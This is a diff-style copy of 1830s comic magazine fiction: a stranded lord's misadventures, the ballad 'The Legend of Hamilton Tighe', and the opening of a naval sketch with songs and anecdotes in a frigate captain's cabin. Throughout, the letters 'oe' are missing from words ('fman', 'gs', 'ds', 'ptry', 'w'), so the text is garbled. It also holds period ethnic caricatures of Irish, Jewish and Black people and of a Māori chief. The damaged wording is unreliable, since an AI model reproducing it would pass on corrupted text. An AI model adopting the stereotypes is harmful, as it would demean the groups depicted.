+"We _can't_ stay here," said Lord John, looking at the wretched hut
+before him.
+
+"We _must_ stay here," said one of the drivers.
+
+"Why, I haven't got my things!--what can I do, Faddle, without my
+things? I haven't even a clean cambric handkerchief, nor a tooth-brush!"
+
+It was too true: it had appeared so easy to have his "_things_" unpacked
+and placed on his dressing-table the moment he arrived at Dover, that
+literally nothing had been provided. Intense cold soon drove Lord John
+into the hut; from which, however, his first impulse was to emerge
+again, so execrable were the fumes of bad tobacco, and so odious the
+group which preoccupied the low chamber.
+
+"Walk in and welcome," cried a tipsy waggoner; "we be all friends."
+
+"Oh, faith!" said an Irish _lady_, whose husband, a "needy
+knife-grinder," was asleep on the floor, "he's a rale gintleman, and
+I'll give him a sate by myself, and p'raps he'll trate me to a drop of
+comfort."
+
+Lord John felt exceedingly sick; and, choking with anger and
+tobacco-smoke, he turned to the ragged lad of the house, and ordered a
+private room.
+
+"There be no room, sir, but this here, besides that there up the ladder."
+
+"Up there, then," said his lordship, approaching it.
+
+"No, but ye can't though," said the lad interposing: "mother and
+sister's asleep up there, and the waggoner's wife, and all the females
+except she as sits there, by the fire."
+
+Lord John paused; he could not invade the territory of the fair sex:
+what was to be done?
+
+"Can't I have a bed?"
+
+"There _be_ some dry straw left, I take it: I'll go and see, and give
+you a shake down here, and welcome."
+
+"A shake down!" groaned his lordship, "Faddle!"
+
+"Yes, my lord."
+
+"Where are you?"
+
+"Here--dying, I believe; I never was so ill!" and there in truth lay
+Faddle, rolling on the bare floor.
+
+"I say, Mother Murphy," said the tipsy Waggoner, "that ere chap's a
+lord!"
+
+"They be going to do away wi' them, I hear," said the Radical
+knife-grinder, waking up; "and a good job too;--werry useless fellors, I
+take it."
+
+"Bless his pretty face!" said the Irish lady: "exchange is no robbery;
+and I'd gi' him a kiss for a drop of the cratur."
+
+"You be hung!" cried her husband, throwing a stool at her head; "you've
+had too much already."
+
+The fair representative of Hibernia was not to be put upon; up she
+started, and there was a pitched battle between her and her husband,
+which ended in the fall of both.
+
+Unused to fatigue, Lord John at last threw himself on his straw. But
+what a night did he pass! the noise, the smell, the discomfort, the
+fleas--oh!
+
+By many will the last week of 1836 be long remembered, but by none with
+greater horror than by the Right Honourable Lord John Lavender.
+
+Without wholesome food,--without a change of linen,--exposed to cold,
+privation, and every possible annoyance, he became seriously unwell; and
+when, at the end of a week, the indefatigable Mr. Worthington opened a
+communication between Dover and Canterbury by means of a sledge, the
+poor prisoner was unable to avail himself of it. Some comforts and
+necessary restoratives were, however, conveyed to him; and at the end
+of another week, after the road had been traversed by many, four horses
+were again put to his carriage, and, entering it like the shadow of his
+former self, he once more started on his way to Dover. We have said that
+there is a great advantage in having begun to "_make up_" early in life.
+Not so, however, when the process has been suddenly and unavoidably
+interrupted. But Lord John was sure to find all he wanted as soon as he
+arrived at the Ship Hotel; a few hours' renovation would prepare him
+for his interview with the fair Sophy. He threw himself back in the
+carriage, and indulged in the most gratifying anticipations.
+
+He was roused from his reverie by the rapid approach of a chariot and
+four greys; and, leaning forward, he caught a glimpse of Sophy,--the
+lovely, amiable Sophy,--who, having heard of his dilemma, had,
+doubtless, set out to seek him!
+
+"Stop! stop!" cried Lord John. "Here, Faddle, get down; call to those
+drivers. Hollo there!--open the door--let down the step--give me your
+arm--that will do: I'm delighted to see you, Sophy; I recognised you in
+a minute: I was on my way to Dover to pay my respects."
+
+Sophy blushed, and smiled, and did not seem to know what to say: at last
+she articulated,
+
+"Papa and mamma will be happy to see you, my lord: allow me to introduce
+to your lordship my husband, Captain Mills;" and a gentleman leaned
+forward and bowed, who had before been invisible.
+
+"Your lordship will be in time for the wedding-dinner; you will have the
+kindness to say you have seen us."
+
+Saying thus, Captain Mills and _his lady_ again bowed and smiled; and,
+leaving his lordship in amazement, the wedding equipage dashed on.
+
+Lord John Lavender proceeded to Dover, and, looking into some Sunday
+chronicle of fashionable scandal, he saw that his friend of May-fair had
+just entered into another _arrangement_. His case was desperate; and,
+accompanied only by his valet, he proceeded on what lords and gentlemen
+so circumstanced, call, a _Continental trip_.
+
+They who choose to read a document on a certain church-door, may
+ascertain, that though no Robin Hood, the Right Honourable Lord John
+Lavender is an outlaw.
+
+
+
+
+                  FAMILY STORIES.--No. II.
+                  LEGEND OF HAMILTON TIGHE.
+
+
+                                         Tapton Everard, Feb. 14, 1837.
+FRIEND BENTLEY,--I see you have got hold of some of our family secrets;
+but Seaforth was always a blab. No matter: as you _have_ found your way
+into our circle, why, I suppose we must even make the best of it, and
+let you go on. The revival of "Old Sir Giles's" story has set us all
+rummaging among the family papers, of which there is a large chest full
+"apud _castro_ de Tappington," as a literary friend of mine has it. In
+the course of her researches, Caroline the other day popped upon the
+history of a far-off cousin, some four or five generations back,--a
+sad story,--a sort of Uriah business,--in which a principal part was
+played by a great-great-aunt of ours. In order to secure her own child's
+succession to a fair estate, she was always believed to have wantonly
+exposed the life of her husband's only son by a former marriage; and
+through the assistance of her brother, a sea-captain, to have at least
+thrust him unnecessarily into danger, even if their machinations went
+no farther. The lad was killed; and report said that an old boatswain
+confessed on his death-bed--But Miss Simpkinson will tell you the
+story better than I can. She has dished it up for you in her choicest
+Pindarics; and though the maiden is meek, her muse is masculine.
+
+                                          Yours, as it may be,
+                                             THOMAS INGOLDSBY.
+
+
+         THE LEGEND OF HAMILTON TIGHE.
+
+    The captain is walking his quarter-deck,
+    With a troubled brow and a bended neck;
+    One eye is down through the hatchway cast,
+    The other turns up to the truck on the mast;
+    Yet none of the crew may venture to hint
+    "Our skipper hath gotten a sinister squint!"
+
+    The captain again the letter hath read
+    Which the bum-boat woman brought out to Spithead--
+    Still, since the good ship sailed away,
+    He reads that letter three times a-day;
+    Yet the writing is broad and fair to see
+    As a skipper may read in his degree,
+    And the seal is as black, and as broad, and as flat,
+    As his own cockade in his own cock'd hat:
+    He reads, and he says, as he walks to and fro,
+    "Curse the old woman--she bothers me so!"
+
+    He pauses now, for the topmen hail--
+    "On the larboard quarter a sail! a sail!"
+    That grim old captain he turns him quick,
+    And bawls through his trumpet for Hairy-faced Dick.
+
+    "The breeze is blowing--huzza! huzza!
+    The breeze is blowing--away! away!
+    The breeze is blowing--a race! a race!
+    The breeze is blowing--we near the chase!
+    Blood will flow, and bullets will fly,--
+    Oh where will be then young Hamilton Tighe?"--
+
+    --"On the fman's deck, where a man should be,
+    With his sword in his hand, and his f at his knee.
+    Cockswain, or boatswain, or reefer may try,
+    But the first man on board will be Hamilton Tighe!"
+
+         *       *       *       *       *
+
+    Hairy-faced Dick hath a swarthy hue,
+    Between a gingerbread nut and a Jew,
+    And his pigtail is long, and bushy, and thick,
+    Like a pump-handle stuck on the end of a stick.
+    Hairy-faced Dick understands his trade;
+    He stands by the breech of a long carronade,
+    The linstock glows in his bony hand,
+    Waiting that grim old skipper's command.
+
+    "The bullets are flying--huzza! huzza!
+    The bullets are flying--away! away!"
+    The brawny boarders mount by the chains,
+    And are over their buckles in blood and brains:
+    On the fman's deck, where a man should be,
+          Young Hamilton Tighe
+          Waves his cutlass high,
+    And _Capitaine Crapaud_ bends low at his knee.
+
+    Hairy-faced Dick, linstock in hand,
+    Is waiting that grim-looking skipper's command:--
+          A wink comes sly
+          From that sinister eye--
+    Hairy-faced Dick at once lets fly,
+    And knocks off the head of young Hamilton Tighe!
+
+         *       *       *       *       *
+
+    There's a lady sits lonely in bower and hall,
+    Her pages and handmaidens come at her call:
+    "Now haste ye, my handmaidens, haste and see
+    How he sits there and glow'rs with his head on his knee!"
+    The maidens smile, and, her thought to destroy,
+    They bring her a little pale mealy-faced boy;
+    And the mealy-faced boy says, "Mother dear,
+    Now Hamilton's dead, I've a thousand a-year!"
+
+    The lady has donn'd her mantle and hood,
+    She is bound for shrift at St. Mary's Rood:--
+    "Oh! the taper shall burn, and the bell shall toll,
+    And the mass shall be said for my step-son's soul,
+    And the tablet fair shall be hung up on high,
+    _Orate pro anima Hamilton Tighe!_"
+
+          Her coach and four
+          Draws up to the door,
+    With her groom, and her footman, and half a score more;
+    The lady steps into her coach alone,
+    And they hear her sigh and they hear her groan;
+    They close the door, and they turn the pin,
+    _But there's one rides with her who never stept in_!
+    All the way there, and all the way back,
+    The harness strains, and the coach-springs crack,
+    The horses snort, and plunge, and kick,
+    Till the coachman thinks he is driving Old Nick:
+    And the grooms and the footmen wonder and say,
+    "What makes the old coach so heavy to-day?"
+    But the mealy-faced boy peeps in, and sees
+    A man sitting there with his head on his knees.
+
+    'Tis ever the same, in hall or in bower,
+    Wherever the place, whatever the hour,
+    That lady mutters and talks to the air,
+    And her eye is fixed on an empty chair;
+    But the mealy-faced boy still whispers with dread,
+    "She talks to a man with never a head!"
+
+         *       *       *       *       *
+
+    There's an old yellow admiral living at Bath,
+    As grey as a badger, as thin as a lath;
+    And his very queer eyes have such very queer leers,
+    They seem to be trying to peep at his ears.
+    That old yellow admiral gs to the Rooms,
+    And he plays long whist, but he frets and fumes,
+    For all his knaves stand upside down,
+    And the Jack of clubs ds nothing but frown;
+    And the kings, and the aces, and all the best trumps,
+    Get into the hands of the other old frumps;
+    While, close to his partner, a man he sees
+    Counting the tricks with his head on his knees.
+
+    In Ratcliffe Highway there's an old marine store,
+    And a great black doll hangs out at the door;
+    There are rusty locks, and dusty bags,
+    And musty phials, and fusty rags,
+    And a lusty old woman, called Thirsty Nan,
+    And her crusty old husband's a hairy-faced man!
+
+    That hairy-faced man is sallow and wan,
+    And his great thick pigtail is wither'd and gone;
+    And he cries, "Take away that lubberly chap
+    That sits there and grins with his head in his lap!"
+    And the neighbours say, as they see him look sick,
+    "What a rum old covey is Hairy-faced Dick!"
+
+    That admiral, lady, and hairy-faced man
+    May say what they please, and may do what they can;
+    But one thing seems remarkably clear,--
+    They may die to-morrow, or live till next year,--
+    But wherever they live, or whenever they die,
+    They'll never get quit of young Hamilton Tighe.
+
+
+
+
+            NIGHTS AT SEA:
+  _Or, Sketches of Naval Life during the War_.
+           BY THE OLD SAILOR.
+
+         THE CAPTAIN'S CABIN.
+
+    For the purple Nautilus is my boat,
+    In which I over the waters float;
+    The moon is shining upon the sea.
+    Who is there will come and sail with me?--L.E.L.
+
+Of all the craft that ever swam upon salt-water give me the dashing
+forty-four gun frigate, with a ship's company of dare-devils who would
+board his Satanic Majesty's kitchen in the midst of cooking-time, if
+they could only get a gallant spirit to lead them. And pray, what would
+a ship's company be without leaders? for, after all, it is the officers
+that make the men what they are; so that, when I see a well-rigged
+man-o'-war, in which discipline is preserved without unnecessary
+punishment or toil, that's the hooker for me; and such was his Britannic
+Majesty's frigate, "the saucy, thrash-'em-all SPANKAWAY," for by that
+title was she known from Yarmouth Roads to the Land's End. Oh, she was a
+lovely creature! almost a thing of life! and it would be outraging the
+principles of beauty to give her any other than a female designation.
+Everybody has been in love some time or other in the course of his
+existence, and the object of affection was no doubt an angel in the eyes
+of the ardent lover:--just so was the frigate to me--an angel; for she
+had wings, and her movements were regulated by the breath of heaven.
+She was the very standard of loveliness, the most exquisite of graceful
+forms. At anchor she sat upon the water with all the elegance and ease
+of the cygnet, or like a queen reclining on her downy couch. Under weigh
+she resembled the pretty pintado bird skimming the billow tops, or the
+fleet dolphin darting from wave to wave. Then to see her climb the
+rolling swell, or cleave the rising foam, baptising her children with
+the spray, and naming them her seamen--Oh, it was a spectacle worth a
+life to witness!
+
+And who was her captain? the intrepid Lord Eustace Dash; a man more
+ennobled by his acts than by the courtesy which conferred his title; one
+who loved the women, hated the French, and had a constitutional liking
+for the rattling reports of a long-eighteen. His first lieutenant, Mr.
+Seymour, knew his duty, and performed it. The second lieutenant, Mr.
+Sinnitt, followed the example of his senior. The third lieutenant, Mr.
+Nugent, obeyed orders, touched the guitar, and was extremely anxious
+to become an author. Then there was Mr. Scalpel, the surgeon; Mr.
+Squeez'em, the purser; and Mr. Parallel, the master; with the two marine
+officers, Plumstone and Peabody. Such were the _élite_ of the frigate;
+but it would be unpardonable--a sort of sea-sacrilege--not to notice Mr.
+Savage, the boatswain; Mr. Blueblazes, the gunner; and Mr. Bracebit, the
+carpenter, all good men and true, who had come in at the hawse-holes,
+and served through the various gradations till they mounted the
+anchor-button on their long-tailed coats. As for the mates, midshipmen,
+and assistant-surgeons, there was a very fair sprinkling,--the demons of
+the orlop, each with his nickname. Her crew--but we will speak of them
+presently.
+
+Hark! it is four bells, in the first dog-watch; and there rolls the
+summons by the drum, calling the brave to arms. See how the hatchways
+pour forth the living mass! and in three minutes every soul fore and aft
+is at his appointed post. The gallant ship lies almost slumbering on the
+fair bosom of the waters, and the little progress she ds make is as
+noiseless as a delightful dream; like the lone point in the centre of
+a circle, she is surrounded by the blue waves, and nothing intervenes
+to break the connected curve of the horizon. Upon the quarter-deck, his
+right hand thrust into his waistcoat, and his feet firmly planted on the
+white plank, as if desirous of making the bark feel his own peculiar
+weight, stands her brave commander: near him Mr. Squeez'em and two
+young imps of aides-de-camp take up their allotted stations; the former
+to note and minute down the details of action, the latter to fly to
+the infernal regions of the magazine,or anywhere else, at the bidding
+of their chief. The lieutenants are mustering their divisions through
+the agency of the young gentlemen; the surgeon and his assistants,
+happily having nothing to do below, appear abaft the mizen-mast;
+whilst Mr. Parallel holds brief consultation with the veteran Savage,
+whose portrait is affixed to each cat-head. Mr. Bracebit is sounding
+the well, and old Blueblazes is skimming about wherever circumstances
+require his presence. The marines, stiffened with pipe-clay, and their
+heads immoveable from what the negroes appropriately call "a top-boot
+round de neck," are parading on the gangway--their thumbs as stark as
+tobacco-stoppers, and their fingers as straight as a "hap'orth of pins."
+What a compound of pomatum and heel-ball, pipe-clay and sand-paper!
+
+And now the officers give in their reports to the captain, who walks
+round the quarters to make a personal inspection, and, as he looks along
+the frowning battery, his lordship is proud of his bonny bark; whilst,
+as he gazes on his gallant crew, his heart exults in beholding some of
+the finest specimens of Britain's own that ever made their "home upon
+the deep."
+
+"What think you of the weather, Mr. Parallel?" inquires his lordship, on
+returning to the quarter-deck. "Will it be fine to-night?"
+
+The old man scans the horizon with an eye of professional scrutiny,
+and then replies, "I have my doubts, my lord; but at this time o' year
+the helements are beyond the ken of human understanding. I've been up
+the Mediterranean, off and on, man and boy, some five-and-forty years;
+it is to me like the face of a parent to a child, but I never could
+discover from its features what was passing in its heart, or the fit it
+would take next; one minute a calm, the next a squall; one hour a gentle
+breeze that just keeps the sails asleep, the next a gale of wind enough
+to blow the devil's horns off."
+
+Lord Eustace well knows the veteran's peculiarities; indeed he is the
+only privileged talker in the ship, and so much esteemed by all, that no
+one seeks to check his loquacity.
+
+"Beat the retreat, and reef the topsails, Mr. Seymour," cries the
+captain to his first lieutenant, and the latter despatches one of the
+young gentlemen to repeat the orders.
+
+Rub-a-dub gs the drum again; but before the sound of the last tap has
+died away, the twhit-twhit of the boatswain's call summons his mates
+to their duty; a loud piping succeeds, and "Reef topsails ahoy!" is
+bellowed forth from lungs that might have been cased with sheet-iron,
+so hoarse is the appeal. And see! before you can slue round to look,
+from the tack of the flying-jib to the outer clue of the spanker, the
+lower rattlins of the fore, main, and mizen shrouds are thronged with
+stout active young men, who keep stealthily ascending, till the first
+lieutenant's "Away aloft!" sends them up like sparks from a chimney-pot.
+The topsails are lowered, the studding-sail booms are triced up, the
+topmen mount the horses, the earings are hauled out, the reef-points
+tied, the sails rehoisted, and the men down on deck again in one minute
+and fifty-two seconds from the moment the halliards first rattled from
+the rack.
+
+"Very well done, Mr. Seymour!" exclaims his lordship, as he stands near
+the wheel, with his gold repeater in his hand; "and cleverly reefed too:
+those after-points are well taut, and show as straight a line as if it
+had been ruled by a schoolmaster."
+
+"Natur's their schoolmaster, my lord," says old Parallel, with a pleased
+and business-like countenance; "and, consequently, they have everything
+well taut."
+
+"Very good, master," exclaimed his lordship, laughing, "you get more
+witty than ever."
+
+"It's strange," muttered the veteran, surlily, "that I can't speak a
+simple truth, without their logging it down again' me for wit. For my
+part I see no wit in it."
+
+"Pipe the hammocks down, Mr. Seymour; give them half an hour, and then
+call the watch," orders his lordship.
+
+"Ay, ay, sir!" responds the first lieutenant. "Stand by the hammocks,
+Mr. Savage."
+
+"Twhit-twhit!" gs the boatswain's call, followed by a voice like a
+distant thunderclap, "Hammocks ahoy!" and away flies every man to the
+nettings; but not a lashing is touched till the whole have found owners,
+(the occupation of a minute,) when the first lieutenant's "Pipe down!"
+draws forth a lark-like chirping of the calls, and in a few seconds the
+whole have disappeared; even the hammock-men to the young gentlemen have
+fetched their duplicate, and the cloths are rolled up for the night. The
+gallant Nelson had his coffin publicly exhibited in his cabin; but what
+of that? the seaman constantly sleeps in his coffin, for such is his
+hammock should he die at sea.
+
+Lord Eustace has retired to his cabin, and the officers are pacing to
+and fro the quarter-deck, conversing on
+
+          "Promotion, mess-debts, absent friends, and love."
+
+The glory of the day is on the wane; the full round moon arises bright
+and beautiful, like a gigantic pearl from the coral caverns of the
+ocean; but there is a sort of sallow mistiness upon the verge of the
+western horizon, tinged with vermeil streaks from the last rays of the
+setting sun, that produce feelings of an undefined and undefinable
+nature: yet there is nothing threatening, for all is delightfully
+tranquil; no cloud appears to excite apprehensions, for there is a
+smile upon the face of the heavens, and its dimples are reflected on
+the surface of the clear waters as assurances of safety. Yet, why are
+there many keen and experienced eyes glancing at that sickly aspect of
+the west, as if it were something which tells them of sudden squalls,
+of whirling hurricanes, like the unnatural flush that gives warning of
+approaching fever.
+
+"The captain will be happy to have the company of the gun-room officers,
+to wind up the day, sir," said his lordship's steward, addressing the
+first lieutenant.
+
+"The gun-room officers, much obliged, will wait upon his lordship,"
+returned Mr. Seymour; then, turning to Mr. Parallel, "Come, master; what
+attracts your attention there to windward? The captain has sent us an
+invitation to take our grog with him. Are you ready?"
+
+"Ay, ay!" responded the old man, "with pleasure; his lordship means
+to make Saturday night of it, I suppose; and I must own it has been a
+precious long week, though, according to the log, it's ounly Thursday."
+
+The cabin of Lord Eustace had nothing splendid about it; the guns were
+secured by the tackles, ready for instant use, and everything was plain
+and simple; the deck was carpeted, and the furniture, handsome of its
+kind, more suited for utility than show. The baize-covered table was
+amply supplied with wines, spirits, and liquors, which his lordship
+prided himself in never having but of the best quality; and a jovial
+party sat around to enjoy the invigorating cheer.
+
+"Gentlemen," said his lordship, rising, "The King!"
+
+Heartily was that toast drunk, for never was monarch more affectionately
+served by his royal navy than George the Third. Other toasts were
+given, national and characteristic songs were sung; the relaxation of
+discipline loosened the restraints on harmony, and that kindly feeling
+prevailed which forms the best bond of union amongst the officers, and
+commands respect and esteem from the men.
+
+"Come, Mr. Nugent, have you nothing new to give us? no fresh effusion of
+the muse?" enquired his lordship.
+
+"As for any thing fresh," said old Parallel, "I know he puts us all into
+a pretty pickle with his 'briny helement,' and in his 'salt-sea sprays,'
+everlasting spouting like a fin-back at play; what with him and the
+marines' flutes I suffer a sort of cable-laid torture."
+
+"You've no taste for ptry, master," returned the young officer: "but
+come, I'll give you my last song; Plumstone has set it to music;" and
+with a clear sonorous voice he sang the following:
+
+    "Hail to the flag--the gallant flag! Britannia's proudest boast;
+    Her herald o'er the distant sea, the guardian of her coast;
+    Where'er 'tis spread, on field or flood, the blazonry of fame;
+    And Britons hail its mastery with shouts of loud acclaim.
+
+    Hail to the flag--the gallant flag! in battle or in blast;
+    Whether 'tis hoisted at the peak, or nail'd to splinter'd mast;
+    Though rent by service or by shot, all tatter'd it may be,
+    Old England's tars shall still maintain its dread supremacy.
+
+    Hail to the flag--the gallant flag, that Nelson proudly bore,
+    When hostile banners waved aloft, amid the cannon's roar!
+    When France and Spain in unison the deadly battle close,
+    And deeper than its own red hue the vital current flows.
+
+    Hail to the flag--the gallant flag! for it is Victory's own,
+    Though Trafalgar re-echs still the hero's dying groan;
+    The Spaniards dows'd their jaundiced rag on that eventful day,
+    And Gallic eagles humbly crouch'd, acknowledging our sway.
+
+    Hail to the flag--the gallant flag! come, hoist it once again;
+    And show the haughty nations round, our throne is on the main;
+    Our ships are crowns and sceptres, whose titles have no flaw,
+    And legislators are our guns dispensing cannon law.
+
+    Once more then hail the gallant flag! the seaman's honest pride,
+    Who loves to see it flaunt the breeze, and o'er the ocean ride;
+    Like the genius of his country, 'tis ever bold and free;
+    And he will prove, where'er it flies, we're sovereigns of the sea."
+
+"Very fair, very fair, Mr. Nugent," said his lordship; "and not badly
+sung, either."
+
+"Ay, ay, my lord, the youngster's well enough," chimed in old Parallel;
+"but, what with his ptry and book-making, I'm half afraid he'll forget
+the traverse-tables altogether."
+
+"And pray how ds the book-making, as the master calls it, get on,
+Nugent?" inquired the captain: "have you made much progress?"
+
+"I have commenced, my lord," returned the junior lieutenant, pulling out
+some papers from his pocket; "and, with your lordship's permission----"
+
+"You'll inflict it upon us," grumbled the old master, and shrugging up
+his shoulders as he perceived his messmate was actually about to read,
+whether the captain sanctioned it or not.
+
+"Now then, attention to my introduction!" said Nugent, holding up the
+manuscript, heedless of the nods and winks of his companions; "I'm sure
+you'll like it. 'The moon is high in the mid heavens, and not a single
+envious cloud frowns darkly upon her fair loveliness; there is a flood
+of silvery light; and fleecy vapours, with their hoary crests, like
+snow-wreaths from the mountain top, float on its surface to do honour to
+the queen of night. The winds are sporting with the waters; the amorous
+waves are heaving up their swelling bosoms to be kissed by the warm
+breeze that comes laden with perfumes from the sunny clime of Italy.
+There is a glow of crimson lingering in the west, as if departing day
+blushed for her wanton sister. Hail, thou inland sea, upon whose breast
+the gallant hers of the British isles have fought and conquered!
+Ancient history recounts thy days of old, and the bold shores that
+bind thee in their arms stand as indubitable records of the truth of
+Holy Writ. The tall ship, reflected on thy ocean mirror, seems to view
+her symmetry in silent exultation, as if conscious of her grandeur and
+her beauty, her majesty and her might. The giantess of the deep, her
+lightnings sleeping and her thunders hushed, dances lightly o'er thy
+mimic billows, and curtseys to the gentle gale.' There, my lord, that is
+the way I begin: and I appeal to your well-known judgment whether it is
+not a pretty picture, and highly ptical."
+
+"A pretty picture truly," grumbled old Parallel: "it ounly wants a
+squadron of angels seated with their bare starns upon the wet clouds,
+scudding away before it like colliers in the Sevin, and in one corner
+the heads of a couple o' butcher's boys blowing wooden skewers, and
+then it would be complete. Why, there's the marine a-laughing at you.
+Talk about the winds kissing the waves, indeed. Ay, ay, young sir, when
+you've worked as many reckonings as ould Will Parallel,--and that's
+myself,--you'll find 'em kiss somat else, or you'll have better luck
+than your neighbours. Why don't you stick to Natur, if you mean to
+write a book? and how'll the log stand then?--Why, His Majesty's ship
+Spankaway cruising in the Mediterranean: and if you've worked your day's
+work, you ought to know the latitude and longitude. Well, there she is,
+with light winds and fine weather, under double-reefed top-sels, jib,
+and spanker, the courses snugly hauled up, the t'gant-sels furled in
+a skin as smooth as an infant's, the staysels nicely stowed, and not
+a yard of useless canvass abroad. There'd be some sense in that, and
+everybody would understand it; but as for your kissing and blushing, and
+such like stuff, why it's all nonsense."
+
+"That's always the way with you matter-o'-fact men," retorted
+the lieutenant: "you make no allowance for the colourings of the
+imagination; your ideas of the picturesque never go beyond the ship's
+paint."
+
+"But they do, though, my young friend," asseverated the master, to the
+great amusement of all present. "Show me the ship's paint that can
+compare with the ruby lustre of this fine old port--here's a discharge
+of grape."
+
+"That's a metaphor, master," said the purser; "and, moreover,"--and he
+seemed to shudder at the abomination,--"it is a pun."
+
+"Ay, ay," answered the veteran, holding up his glass to the light, and
+eyeing its contents with evident satisfaction, "we've often met afore;
+and as for the pun, I'll e'en swallow it;" and he drank off his wine
+amidst a general laugh. "But do you really mean to write a book, Nugent?"
+
+"I do, indeed, master," answered the lieutenant; "but whether it will be
+read or not is an affair for others to determine. I've got as far as I
+have repeated to you, and must now pick up incidents and characters."
+
+"A bundle of shakings and a head-rope of wet swabs!" uttered the old
+master contemptuously. "Stick to your log-book, Mr. Nugent, if ever
+you hopes to get command of such a sweet craft as this here, of which
+I have the honour to be the master. Larn to keep the ship's reck'ning,
+and leave authorship to the poor devils who starves by it. There's
+ounly two books as ever I look at--Hamilton Moore and the Bible; and
+though I never yet sailed in a craft that rated a parson in commission,
+yet I make out the latter tolerably well, notwithstanding my edication
+sometimes gets jamm'd in a clinch, and my knowledge thrown slap aback:
+but that's all nat'ral; for how can a man work to wind'ard through a
+narrow passage without knowing somut o' the soundings or the outline
+o' the coast. Howsomever, there's one course as is plain enough, and I
+trust it will carry me clear at last,--to do my duty by my king, God
+bless him!--and whilst the yards of conscience are squared by the lifts
+and braces of honesty, I have no fear but I shall cheat the devil of one
+messmate, and that's ould Will--myself."
+
+"A toast, gentlemen--a toast!" exclaimed his lordship in high animation;
+"'The master of the Spankaway and his lady-mate.'"
+
+"I beg pardon, my lord," interrupted the surgeon, "the master is not
+married; he is yet a solitary bachelor."
+
+"True--most true," chimed in Nugent, laughing; "for, according to the
+words of the pt,
+
+          "None but himself can be his PARALLEL."
+
+"You are too fastidious, gentlemen," said his lordship: "remember, it
+is 'Wives and sweethearts;' and, as it is a favourite toast of mine,
+we will, if you please, drink it standing." The toast was drunk with
+all due honours. "And now," continued his lordship, "without further
+preface, I shall volunteer a song, which Nugent may hoist into his book,
+if he pleases.
+
+    "Drink, drink to dear woman, whose beautiful eye,
+    Like the diamond's rich lustre or gem in the sky,
+    Is beaming with rapture, full, sparkling, and bright--
+    Here's woman, the soul of man's choicest delight.
+
+                   CHORUS.
+    Then fill up a bumper, dear woman's our toast,
+    Our comfort in sorrows--in pleasure our boast.
+
+    Drink, drink to dear woman, and gaze on her smile;
+    Love hides in those dimples his innocent guile:
+    'Tis a signal for joy--'tis a balm for all w;--
+    Here's woman, dear woman, man's heaven below.
+
+                   CHORUS.
+    Then fill up a bumper, dear woman's our toast,
+    Our comfort in sorrow--in pleasure our boast.
+
+    Drink, drink to dear woman, and look on her tear:--
+    Is it pain?--is it grief?--is it hope?--is it fear?
+    Oh! kiss it away, and believe whilst you press,
+    Here's woman, dear woman, man's friend in distress.
+
+                   CHORUS.
+    Then fill up a bumper, dear woman's our toast,
+    Our comfort in sorrow--in pleasure our boast.
+
+    Drink, drink to dear woman, whose exquisite form
+    Was never design'd to encounter the storm,
+    Yet should sickness assail us, or trouble o'ercast,
+    Here's woman, dear woman, man's friend to the last.
+
+                   CHORUS.
+    Then fill up a bumper, dear woman's our toast,
+    Our comfort in sorrow--in pleasure our boast."
+
+As in duty bound, this song elicited great applause, and Nugent declared
+he should most certainly avail himself of his lordship's proposal for
+inserting it in his book. "But you have done nothing, Mr. Nugent," said
+the captain. "You say you want incident and character. You have already
+taken the frigate for your text;--there's the master now, a perfect
+character."
+
+"For the love of good old port," exclaimed Parallel, as if alarmed, "let
+me beg of you not to gibbet me in your consarn. But I'm not afraid of
+it; book-making requires some head-piece; there's nothing to be done
+without a head, nor ever has been."
+
+"I must differ with you there, Mr. Parallel," said Seymour
+unobtrusively; "for I myself saw a very difficult thing done literally
+without a head.
+
+"Galvanised, I suppose," uttered the doctor in a tone of inquiry; "the
+power of the battery is wonderful."
+
+"There assuredly was a battery, doctor," responded the lieutenant,
+laughing; "and a very heavy one too. But the event I'm speaking of had
+no connexion with galvanism: it was sheer muscular motion."
+
+"Out with it, Seymour!"--"Let's have it by all means!"--"It will be an
+incident for Nugent!"--"Out with it!" burst forth simultaneously from
+all.
+
+"It certainly is curious," said the first lieutenant, assuming much
+gravity of countenance, "and happened when I was junior luff of the old
+Sharksnose. We were running into Rio Janeiro man-o'-war fashion, with a
+pennant as long as a purser's account at the masthead, and a spanking
+ensign hoisted at the gaff-end, with a fly that would have swept all the
+sheep off of the Isle of Wight. Away we gallop'd along, when a shot from
+Santa Cruz, the three-deck'd battery at the entrance, came slap into our
+bows. 'Tell him we're pretty well, thanky,' shouted the skipper; and
+our jolly first, who took his meaning, literally pointed the fokstle
+gun, clapp'd the match to the priming, and off went the messenger, which
+struck the sentry, who was pacing his post, right between the shoulders,
+and whipt off his head as clean as you would snap a carrot; he was a
+stout-made powerful-looking man, and by sheer muscular motion, as I said
+before, his head flew up from his body at least a fathom and a half,
+and actually descended upon the point of his bayonet, where it stuck
+fast, and the unfortunate fellow walked the whole length of the rampart
+in that way; nor was it till he got to the turn, and was steering round
+to come back again, that he discovered the loss of his head, when,
+according to the most approved practice in similar surgical cases, he
+fell to the ground. It was sheer muscular motion, gentlemen,--sheer
+muscular motion."
+
+"He would, no doubt, have been a good mussulman, Seymour, if he had been
+a Turk," said his lordship.
+
+"He couldn't come the right-about face," said Peabody, "having lost his
+head. It would have been a comical sight to have seen him present arms;
+pray did he come to the present?"
+
+"No, nor yet to the recover, I'll be sworn," observed Plumstone; "no
+doubt he grounded his arms and his head too."
+
+"Them chance shots often do the most mischief," remarked Parallel. "Who
+would have thought that it would have gone right through his chest, so
+as to leave him a headless trunk. Pray may I ax you whether he was near
+his box?"
+
+"Well hove and strong, master," exclaimed Sinnitt, joining in the
+general laugh; "your wit equals your beauty."
+
+"What have I said that's witty now?" returned the veteran; "I can't open
+my mouth to utter a word of truth, or to ax a question, but I'm called a
+wit; for my part, I see no wit in it."
+
+"Your anecdote," said his lordship, "reminds me of something similar
+that I witnessed, when a youngster, at one of the New Zealand Isles. Our
+captain took a party of us to see his dun-coloured majesty at court.
+The monarch was seated in a mud, or rather clay building, nearly in
+a state of nudity, his only covering being an old uniform coat and a
+huge cocked-hat: his queens--happy man! I think he had seventy--not
+quite so decently dressed as himself, were squatting, or lying down, in
+different directions; several of them with such ornaments through their
+lips and noses, as would have answered the purpose of rings in the decks
+to a stopper'd best bower cable. I heartily wish some of our court
+ladies could have seen this royal spectacle. We were ushered in through
+an entrance, on each side of which was a pile of heads without tails
+to them, most probably dropped in their hurry to wait upon the king.
+His majesty was a man of mild countenance, and of most imperturbable
+gravity; behind him stood a gigantic-looking rascal, with an enormous
+dragoon's sabre over his shoulder, by way of warning to his majesty's
+wives not to disturb his majesty's repose, or it was amongst the chances
+of royalty that he would shorten their bodies and their days at the
